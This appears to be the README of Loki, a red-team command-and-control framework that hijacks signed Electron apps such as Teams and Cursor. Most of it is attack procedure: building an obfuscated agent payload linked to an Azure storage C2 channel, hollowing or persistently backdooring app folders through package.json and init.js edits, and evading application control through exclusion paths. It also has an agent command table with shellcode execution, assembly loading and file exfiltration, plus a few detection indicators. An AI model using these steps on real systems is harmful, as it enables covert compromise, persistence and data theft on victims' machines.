
🧙♂️ Node.js Command & Control for Script-Jacking Vulnerable Electron Applications
Loki is a stage-1 command and control (C2) framework written in Node.js, built to script-jack vulnerable Electron apps MITRE ATT&CK T1218.015. Developed for red team operations, Loki enables evasion of security software and bypasses application controls by exploiting trusted, signed Electron apps.
Script-jacking hijacks the execution flow of an Electron app by modifying JavaScript files loaded in at runtime with arbitrary Node.js code. This technique can be leveraged to:
While several tools already address leveraging script-jacking to chain execution to another process, Loki is the first to enable backdooring and hollowing of signed Electron apps without invalidating their code signing signature.
For more details on how Loki works, checkout this blog post:

| Name | Contributions |
|---|---|
| Bobby Cooke | Creator & Maintainer |
| Dylan Tran | Creator |
| Ellis Springe | Alpha Tester |
| Shawn Jones | Assembly Execution Code |
| Trusted Sec | COFFLoader Code |
| Simon Exley | Video Creator |
| Clinton Elves | Video Creator |
| John Hammond | Video Creator |
Check out this video by John Hammond on backdooring Cursor AI with Loki C2! 🎩
Check out this video by Simon Exley & Clinton Elves on getting up and running with Loki C2! 🧙♂️
All agent commands are written in native Node.JS and do not require additional dependencies or library load events. With the exception of the scexec and assembly commands which do a library load on keytar.node and assembly.node
/, \ in paths will not work.Set - Loading Nodes from Application Control Exclusion Pathsset command to change the load paths for assembly.node and scexec.node.ls, cat, cp and mv you may be able to enumerate the application control rules to discover a writable directory that is an exclusion.set command to change their load path to the exclusion directory to bypass the application control.[04-04-2025 8:50AM MST] advsim$ help set
Set the Node load paths for assembly node and scexec nodes
set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
set assembly_path C:/Users/user/AppData/ExcludedApp/assembly.node
[04-04-2025 8:51AM MST] advsim$ set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
SCEXEC Node Load Path Set to : C:/Users/user/AppData/ExcludedApp/scexec.node
For more information on Agent features click here
For more information on Client features click here
First you need to identify a vulnerable Electron application which does not do ASAR security integrity checks such as Microsoft Teams. Newer applications may have integrity checks preventing backdooring. Older versions of the target app are more likely to be vulnerable.
You don't need to compile the agent when backdooring Electron apps. Just replace the contents of {ELECTRONAPP}/resources/app/ with the Loki agent files.
cd into itjavascript-obfuscator modulenpm install --save-dev javascript-obfuscator
create_agent_payload.js script to create a Loki payload with your Storage Account infobobby$ node create_agent_payload.js
[+] Provide Azure storage account information:
- Enter Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- Enter SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
[+] Configuration:
- Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
- Meta Container : mllyi2zjmafjm
[+] Updated /Users/bobby/apr2/LokiC2/config.js with storage configuration.
- Enter into the Loki Client UI
Loki Client > Configuration
[+] Modifying PE binaries to have new hashes...
- Payload assembly.node hash : e9d126407264821d3c2d324da0e2d1bc13cbc53e7c56340fe12b07f69b707f02
- Payload keytar.node hash : 292c14ffebd6cae3df99d9fbee525e29a5a704f076b82207eb3e650de45b075d
[+] Payload ready!
- Obfuscated payload in the ./app directory
./app/{ELECTRONAPP}/resources/./app/ folder to {ELECTRONAPP}/resources/app/Launch the Loki GUI client
From the menubar click Loki Client > Configuration to open the Settings window
Enter in your Storage Account details and click Save

The agent should now render in the dashboard
Click the agent from the dashboard table to open the agent window
Test to ensure Loki works properly
The most straightforward way to use Loki is to replace the files in {ELECTRONAPP}/resources/app/ with the Loki files. This hollows out the app, meaning the app won't function normally -- Loki replaced its functionality.
If you really want to keep the Electron application running and have it also deploy Loki in the background all hope is not lost! John Hammond and I figured out a way to keep the real Electron application running. We've added the file you will need to /loki/backdoor/init.js in this repo.
It is currently setup to work for Cursor, discovered to be vulnerable by John Hammond.
For doing this you will need to:
package.json to cursor/resources/app/
package.json/loki/backdoor/init.js to cursor/resources/app/cursor/resources/app/package.json to:
"main":"init.js","type":"module","private":true,Cursor.exe will load in init.js on click / executioninit.js reads in package.jsoninit.js changes "main":"init.js", -> "main":"main.js",
main.js is Lokiinit.js spawns and disowns a new Cursor.exe which points to Lokiinit.js reads in package.json againinit.js changes "main":"main.js", ->
This way the app is persistently backdoored and operates as normal. If the cursor app is exited loki will continue to run in the background.
I'll make a script to automate this in the future.
These are the compile instructions for building the agents & clients. The instructions cover multiple platforms, including Windows, Linux, and macOS. It is recommended to compile the client on the target platform and architecture.
If you are backdooring an Electron application then you don't need to compile agents.
I do not recommend compiling the agent and using it for operations. Agent compile instructions are for development.
~/Downloads/Teams/Teams.exe*.blob.core.windows.netnetstat.exe or whoami.exepackage.json will be created in ~/AppData/Roaming/{NAME} when the Loki JavaScript executes in the Electron process.%LOCALAPPDATA%\Microsoft\Teams\current\app directory created%LOCALAPPDATA%\Microsoft\Teams\current\app.asar file created/modified by non-Teams installer/updaterThis project is licensed under the Business Source License 1.1. Non-commercial use is permitted under the terms of the license. Commercial use requires the author's explicit permission. On April 3, 2030, this license will convert to Apache 2.0. See LICENSE for full details.
| Command | Description |
|---|
help | Display help. Usage: help or help scan |
pwd | Print working directory |
ls | File and directory listing |
cat | Display contents of a file |
env | Display process environment variables |
spawn | Spawn a child process |
drives | List drives |
mv | Move a file to a new destination |
sleep | Sleep for seconds with jitter |
cp | Copy a source file to a destination |
exit-all | Exits the agent, agent won't callback anymore |
load | Load a node PE file from disk into the process |
scexec | Execute shellcode |
assembly | Execute a .NET assembly and get command output |
upload | Upload a file from your local operator box to the remote agent box |
download | Download a file from remote agent box to local operator box |
scan | Perform TCP network scan across CIDR range with selected ports |
dns | DNS lookup. Leverages systems DNS configuration |
set | Set the Node load paths for assembly node and scexec nodes |
bof | Execute a COFF file and return output |
"main":"./out/main.js",./out/main.js" is the real Cursor applicationinit.js spawns and disowns a new Cursor.exe which points to the real Cursorinit.js catches the exitinit.js reads in package.json for a third timeinit.js changes "main":"./out/main.js", -> "main":"init.js",